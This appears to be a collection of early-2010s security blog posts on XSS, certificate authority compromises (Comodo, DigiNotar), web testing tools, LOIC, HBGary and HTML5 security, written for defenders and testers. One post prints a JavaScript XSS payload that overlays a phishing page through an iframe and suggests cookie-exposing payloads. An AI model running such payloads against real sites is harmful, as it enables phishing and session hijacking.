I often talk about cross-site scripting (XSS), and that’s partly because I think it’s a pretty interesting type of vulnerability that many developers tend to overlook. It can be quite dangerous, but can also be quite misunderstood. For one thing, the name can be misleading: exploiting XSS does not always involve scripting, and the proliferation of web technologies has taken XSS issues beyond the browser.

One example of script-less cross-site scripting affected some high-profile MySpace users in 2007. Attackers were able to inject HTML into celebrity MySpace pages, but the service filtered out typical <script> payloads. Seemingly innocent <a> links were allowed, though, and adding a bit of CSS allowed one to create an invisible link that covered the entire page. In this case, clicking anywhere on an infected profile led to a malware download.

This attack could be one of the first prominent cases of clickjacking, though the term is usually applied to attacks that hijack clicks with malicious inline frames (iframes). Allowing <iframe> elements in user-controlled HTML opens up a range of issues more broadly known as UI redressing. For instance, an iframe that covers the entire page could render a fake login form that appears to be legitimate given the site’s address, leading to a powerful phishing attack. Frames and forms can also be used to bypass CSRF protections.

Of course, you can sometimes launch simple CSRF attacks using only images. By setting the “src” attribute of an <img> element to another page, the browser will still execute a GET request to that page when it tries to load the image. Without proper CSRF protections, such an attack may be possible without XSS to begin with. But images can also be a source of information leakage or tracking, since GET requests to a malicious server will also likely include a “Referer” header.

While most XSS payloads do capitalize on the power of JavaScript, keep in mind that a browser can load scripts from many places besides within script tags. Event attributes for other elements and certain CSS properties are just two examples of places a script could slip in. And don’t forget about the risks of browser plug-ins – Flash 0-day issues or malicious PDF files can also be sources of trouble.

Finally, an issue this week served to remind that XSS is no longer just a concern within the context of a web browser. As HTML and JavaScript become a greater part of developing apps built outside the browser, XSS may pop up on other platforms. On Monday, a security researcher with the handle superevr disclosed an XSS vulnerability in Skype for iOS. By inserting HTML into the “Full Name” of a user, one could send messages that when viewed would launch code capable of stealing the phone’s address book. And this wasn’t the first time XSS has been a problem for Skype – a vulnerability in desktop versions was found a few months ago, and XSS with shared content could lead to problems back in 2008.

Alternate labels, such as “HTML injection” or “web content injection,” have been proposed to describe cross-site scripting, but the established term is likely here to say. Still, remember that protecting against XSS does not simply mean blocking script tags, and keep in mind the power of XSS when integrating web technologies with other platforms.

In light of all the discussions about maintaining a secure posture on trusted certificates, we oftentimes forget about the little guys. In this case, I’m talking about our mobile devices. We tend to forget that these devices are just as vulnerable as our desktop/laptops. Unfortunately, it’s not always easy to manage the certificates on these devices. But if you own an Android device and would like to take a little more control over what your device is trusting, here’s how you can do it.

Remove a CA Cert from Android System
The bouncycastle library will be required, you can grab it here:
BouncyCastle Library

You’ll need the Android-SDK as well in order to utilize ADB. It can be found here if you don’t already have it:
Android SDK
(more…)

edited September 2 with an update on Apple/Safari.

Another case of a certification authority (CA) issuing a certificate they never should have has surfaced. You may remember when we discussed the Comodo incident earlier this year. Now, a certificate issued by DigiNotar has surfaced in the wild, being valid for *.google.com – meaning it could be used to secure any transaction with any Google web property, including GMail. According to this pastebin post, this certificate “is being used in the wild against real people in Iran *right* now.” DigiNotar has issued a statement. Here is some information about why this is bad, and what steps you should take to remove this issuer from your trust lists. (more…)

If you’re new to the world of testing web application security, you may not be aware of the many great Firefox add-ons available that greatly help such endeavors. While others have compiled similar lists in the past, I thought this week would be a good time for me to share a few of the favorite tools I use in my own web app work.

1. HttpFox: I’ve blogged about this one in the past; it lists for you every HTTP request made during a given browser session, with details on headers, cookies, parameters, responses, and more. Very handy to monitor traffic when you’re browsing around an app.
2. HackBar: Another one I’ve mentioned before, the HackBar is a swiss-army knife that gives you some space for notes, common commands (such as base64 encoding or MD5 hashes), and perhaps best of all, an easy way to execute manual POST requests.
3. FireBug: Perhaps one of the best-known Firefox plug-ins, FireBug is a powerful tool for inspecting a page’s DOM, debugging scripts, and investigating script variables.
4. Cookies Manager+: As you can guess, this add-on lets you view and edit browser cookies to your heart’s content. Useful in tracking and spoofing session information.
5. Modify Headers: Many web apps use special headers in various ways; this tool lets you set such headers manually when making requests. Spoofing XMLHttpRequest commands is one use case.
6. User Agent Switcher: I’ve seen apps with vulnerabilities that only affected mobile versions of the site. This extension lets you imitate just about any browser, allowing you to test different site interfaces.
7. JavaScript Deobfuscator: This is one add-on I only recently discovered, but I can already tell it will be quite useful. It logs JavaScript functions as they’re compiled or executed by the browser, which is particularly useful in dealing with obfuscated scripts.

This list is by no means exhaustive and is geared towards manual testing, but it certainly provides a solid line-up for anyone looking to experiment with web app security. It also shows how easy it can be to get started tinkering with web apps. While I use Chrome for my everyday browsing, I use my tricked-out Firefox setup when I want to dig deeper. If you’re starting out, try using these add-ons against an educational app, such as WebGoat, Gruyere, or DVWA.

Cross-site scripting (XSS) vulnerabilities allow an attacker to inject content in an otherwise trusted web page. XSS attacks in the wild typically try to execute JavaScript, and consequently XSS issues are typically demonstrated with a script function that’s short, simple, and visual: the alert box. Many XSS examples use alert(1) or alert(‘XSS’) as a payload.

As others have noted, though, this fails to show the power of XSS, and may lead to a “so what?” reaction from developers not familiar with such a vulnerability. I like to compare alert(1) to showing that the safety of a gun is off. If someone has never handled or heard of a gun before, a small switch out of place won’t mean much. But when they see the gun fire and witness the damage a bullet can cause, the significance of that safety becomes apparent.

While I’m hardly the first to compile a list of example payloads that go beyond simple alert boxes (see also XSS – Exploitation beyond alert(‘xss’) and alert(‘xss’) – The slow death of XSS), I think it bears repeating that security professionals should be prepared to demonstrate the real dangers of XSS. Here are a few ideas to keep in your toolbox:

1. Expose cookies. My personal preference for a simple alert box when checking XSS is alert(document.cookie). Even if a developer is not familiar with XSS, most will likely recognize that access to the session data stored in a user’s cookie presents a problem. And note that if the injected script can alert those values, it can also send them to an external server, allowing an attacker to take control of the victim’s account
2. Gather real-world examples. While you’d certainly never want to just load a live payload on a vulnerable app, actual attacks against other sites are good testimonials for thinking about XSS. A few to get your file started:
   • Malware delivery on celebrity MySpace pages: Alicia Keys and other stars fell victim to an attack that didn’t even require JavaScript. An invisible <a> element covered the entire page, making any click send the user to a malicious site.
   • The Samy worm on MySpace: One of the fastest-spreading viruses used XSS. The Samy worm automatically friended other MySpace users and modified the profiles of victims. Its rapid spread caused MySpace to shut down temporarily.
   • Remote code execution on phones via the Android Market: A vulnerability in Google’s online store for Android apps could be used to send an install command when accessed from an Android phone. Once installed, the malicious app could then also be automatically launched.
   • Facebook bully video XSS payload: A recent attack exploiting a loophole in Facebook apps used event invites, chat messages, and Facebook pages to spread malicious links. The payload also included code for phishing account credentials.
3. Phishing demo. Create a page that mimics your app’s login form but submits to a different location, and save it somewhere safe but accessible. Add this bit of code to quickly replace a vulnerable page with your phishing page:
   

   x=document.createElement('iframe'),x.src='http://yourphishingpage/', x.height='100%',x.width='100%',x.frameBorder='0',document.body=x

4. Create a custom payload. Remember, once a script can be injected in a page, it basically has the same amount of access as any other script in the page. If you’re already familiar with code used by a vulnerable app, you can simply load a few of them with the XSS payload. With many sites using a range of client-side features, a few function calls can do quite a bit.
5. Set up a BeEF demo. The Browser Exploitation Framework, or BeEF for short, is a tool that essentially lets you create a small botnet. BeEF can be used to log keystrokes, detect features or history, and even launch Metasploit to load more sophisticated attacks.
6. Set up an XSS-based proxy. Tools such as Shell of the Future let you make requests for other sites from a victim’s browser and have the responses forwarded to your machine. This lets you tunnel traffic through other machines simply by exploiting XSS.

So, last night I downloaded a version of the Low-Orbit Ion Cannon, the traffic generation tool which Anonymous has been using to attack various websites. The version I acquired, from SourceForge, was not one which had been modified for use by Anonymous – it didn’t have the “Hive” function which allows it to be utilized remotely. I should mention that although it was originally made by Praetox, and many versions available for download still have Praetox branding, Praetox no longer supports the code, nor is in any way affiliated with Anonymous.

It’s not really a terribly complicated tool. All it does is flood out requests in one of three ways: http requests, TCP packets, or UDP packets. It allows the user to specify the target by URL or IP address, the timeout, port number, the number of threads used, and the attack mode – that being http, TCP, or UDP. If using http, the user can specify the subsite, and if using TCP or UDP, the payload can be given. There’s also a slider for the speed – though no information on what the actual bandwidth will be – and a checkbox for whether or not to wait for a reply. With this set of parameters given, the user need only tell it to go by hitting a button entitled “IMMA CHARGIN MAH LAZER” and watch the status across the bottom.

It’s not a very sophisticated tool; it doesn’t have anything to help it get past even rudimentary countermeasures. Given that it was written as a load-testing tool, that’s hardly surprising. What it lacks in sophistication, it does offer in simplicity. This is a tool which is simple, intuitive, and effective. In terms of usability, a great many professional developers could stand to learn from it. This is a tool which can be used with virtually no networking knowledge. Given that it’s a tool which is being given out to people with virtually no networking knowledge, it’s not a bad fit.

LOIC isn’t exactly a major threat to a large website. As is the nature of DOS attacks, it simply uses a brute-force attempt to flood a site. Smaller servers can readily be overwhelmed, of course, but this isn’t a new issue. That being said, LOIC has proven remarkably effective even though it is hamstrung both by its simplicity and by the steps users must take to preserve their anonymity while using it. So long as groups like Anonymous retain a use for such a tool, newer versions can be expected. While they may have newer tricks, they’ll likely remain by the curve technologically, preferring to keep the same simple usability which allows LOIC to be wielded by so many people.

Over the last few months, many people have talked about using HTTPS with sites such as Facebook and Twitter. The technology came up often after the release of Firesheep, which allowed Wi-Fi users to hijack other users who used these sites without HTTPS.

Part of the technology behind HTTPS are certificates – small electronic files that help your browser ensure it’s connecting to a trusted site and protect the connection from eavesdropping or tampering. For instance, when you visit https://www.google.com, the Google server has a certificate that lets your browser know it’s connecting to Google and not an impostor.

But how does your browser know if the certificate is not also from an impostor? Each browser maintains a list of certificate authorities, or CAs – special servers whose main purpose is issuing certificates for all those HTTPS websites. These CAs may also vouch for other authorities, creating a hierarchy of trust. If you access a site whose certificate is not from one of these authorities or has been marked by one of them as revoked, you’ll get an error or warning about a certificate problem. Ideally, all of the authorities are all trustworthy and only issue certificates for reputable websites.

Unfortunately, the current reality is less than ideal, and attacks can happen. Yesterday, a blog post from the Tor Project detailed research showing that two major browsers had quietly added code which blocked a few specific certificates. These certificates were issued by an authority in a hierarchy controlled by Comodo, who released a statement today providing a bit more information on what happened.

According to Comodo, attackers were able to access the account of a user who helped manage one of the servers for issuing certificates. They then created their own certificates for verifying websites from Google, Yahoo, Skype, and others. These fraudulent certificates could be used to make a user’s browser think it was connecting to legitimate sites when actually communicating with a malicious site.

Comodo stated that many of the attacks appear to be from Iran, and has said they believe the attack to be state-driven, but many details are still unknown at this point, and the situation calls into question several aspects of Comodo’s security policies. In the meantime, you should make sure you’re using the latest version of a modern browser, such as Chrome or Firefox, and avoid connecting to untrusted networks. The fraudulent certificates that have already been identified will be blocked by an updated browser, and we’ll have to wait and see if more fallout results from the attack.

Earlier today, news began to spread about an exploited certification authority (CA) spotted in the wild. The Tor project blog has an excellent write-up on how they detected the presence of patches blocking particular SSL certificates and worked backwards to determine that a Comodo issuer had been compromised. The folks at Tor suppose (rightly) that if people who monitor the patches for Firefox and Chrome hadn’t noticed, this entire incident might have been swept under the rug. Since that time, Comodo has come clean with an incident report which describes in detail the certificates that were issued and even states

 All of the above leads us to one conclusion only:- that this was likely to be a state-driven attack.

I am not as convinced – I think it might have been referenced more to try to deflect interest and speculation away from their own poor management. Also, I would think that a state attack would be more involved than a simple username and password.

Yes, Comodo notes in a separate blog post that the compromise was related to the theft of a username and password of a registration authority (RA) account. I was shocked to find out that their registration authority users are able to log in with a username and password, and not requiring a more secure method of login (for example, public key infrastructure (PKI) login with a smart card). I took a look at the Comodo Certification Practice Statement (CPS) and found that “Trusted roles” (section 3.10.1) should in fact require it. The CPS states (for Trusted personnel) “Identification is via a username, with authentication requiring a password and digital certificate.”

Of course my first issue is with the semantics of the statement.  Presenting a digital certificate is not authenticating anything because digital certificates are public information; one must prove the possession of the private key corresponding to the digital certificate to be authenticated.

My second issue is that it is not clear in the CPS whether an RA would actually be a “Trusted role” or not. In section 3.9.3 they indicate the following:

All personnel in trusted positions handle all information in strict confidence. Personnel of RA/LRAs especially must comply with the requirements of the English law on the protection of personal data.

To me, this reads that personnel of RA/LRAs are “personnel in trusted positions” and therefore should qualify for the “Trusted role” in their CPS, which would have required certificate-based login. Unfortunately, I cannot find any more definitive statements in the CPS that would put the RA into or out of the “Trusted role” as defined.

Ultimately, I hope this compromise will help Comodo improve their practices and update their policies. Most organizations that run a PKI (whether internal or external) know that RAs should always be considered a trusted role in a PKI. The RA’s role is to direct the actions of the CA, the entity that issues the certificates and certificate status information. These certificates, in turn, allow us to trust transactions between parties (such as SSL sessions). If the RA is not trusted, then nothing in the PKI should be.

If you’re interested in online security, you’ve probably heard about HBGary.

If you haven’t, here’s a brief rundown with a few links:
A security firm, HBGary (or, more accurately, HBGary’s subsidiary HBGary Federal) announced that they had discovered the names of some of the supposed ringleaders of the “hacktivist” organization Anonymous.
This “angered the hive” and – rather than the generally low-risk and unsophisticated DDOS attacks for which Anonymous is better known – Anonymous used a combination of social engineering, SQL Exploits, and password cracking to compromise one of HBGary’s servers. They leveraged that to get into multiple servers, ultimately gaining access to HBGary’s email and no few internal documents – including business plans and proposals to potential clients.
Anonymous then published the information they found – all of it. This embarrassed and scared off most, if all, of HBGary’s potential clients, ruined ongoing negotiations, and exposed activities which indicated questionable ethics and which might be illegal.
HBGary’s actions after this compromise might charitably be called “unfocussed” or possibly “unplanned”. “Foolish” or “Crazy” would possibly be more accurate. The HBGary CEO even engaged with some Anonymous members via IRC, to dubious results. Perhaps the best testament to this incident is the current state of HBGary Federal’s website.

Remarkably, there aren’t any new lessons to be learned here.
HBGary Federal’s first mistake was in taunting Anonymous: no matter how secure you think you are, you’re better off WITHOUT people trying to break down the gates.

The second mistake was in underestimating the enemy. Although Anonymous as a group has mostly engaged in DDOS attacks, they did so using a modified version of a professional load-testing tool: clearly some of their members have always had access to such tools and the ability to modify them. In other words, at least some of Anonymous are clearly highly capable.

The third mistake – or rather, set of mistakes – was likely the most common. HBGary’s infrastructure wasn’t properly secured. They were vulnerable to social engineering, and an important server could be compromised with an SQL injection exploit, and – worst of all – the attackers were able to use that one compromise to access nearly everything else. This is not a very good security posture, especially for a security firm.

Lastly, they didn’t have a recovery strategy. While this sort of compromise is one of the worst-case scenarios, it clearly behooves a company to plan for it, at least in a general fashion, and respond in an organized fashion which helps rebuild client trust and reduce the damage.

While these aren’t new lessons, it’s still worthwhile to look them over again: don’t encourage attacks, maintain a realistic awareness of the attackers you’re facing, harden your infrastructure, and have a recovery plan. Remember that it CAN happen to you, and act accordingly.

The discussion around the usual suspects of web application security (XSS, CSRF, injections, etc) hasn’t changed much in the last decade. Even high-profile website security incidents that get media attention often boil down to a clever application of one or more of these “basic” vulnerabilities. Part of the reason these techniques don’t seem to go out of style is a result of the speed at which the underlying technologies emerge.

In other words, as technology changes, the vulnerabilities enabled by that technology also change. With the quick rise (and rapid acceptance) of HTML5 as the next generation markup language, we are sure to see some interesting new ways that web apps can be bent and broken or otherwise convinced to do things they were not originally designed or developed to do. Indeed, HTML5 seems to be somewhat of a new frontier when it comes to web security. Like its predecessor, each browser rendering engine has its own way of interpreting and displaying HTML5 data. Developers seeking to fully secure their applications would need to account for users that may have HTML5-enabled browsers. Lack of familiarity on the developer’s part can result in unexpected vulnerabilities that are easily overlooked or difficult to detect.

The HTML5 Security Cheatsheet is a resource that shows some things to watch out for when you’re working with HTML5, and should be useful to both developers and regular users.

Also, it’s important to point out that not all unintended uses of a new technology are malicious in nature. Who knows– maybe some HTML5 hack will push future web innovation to new heights. At the very least, it could add some variety to the global discussion on web application security.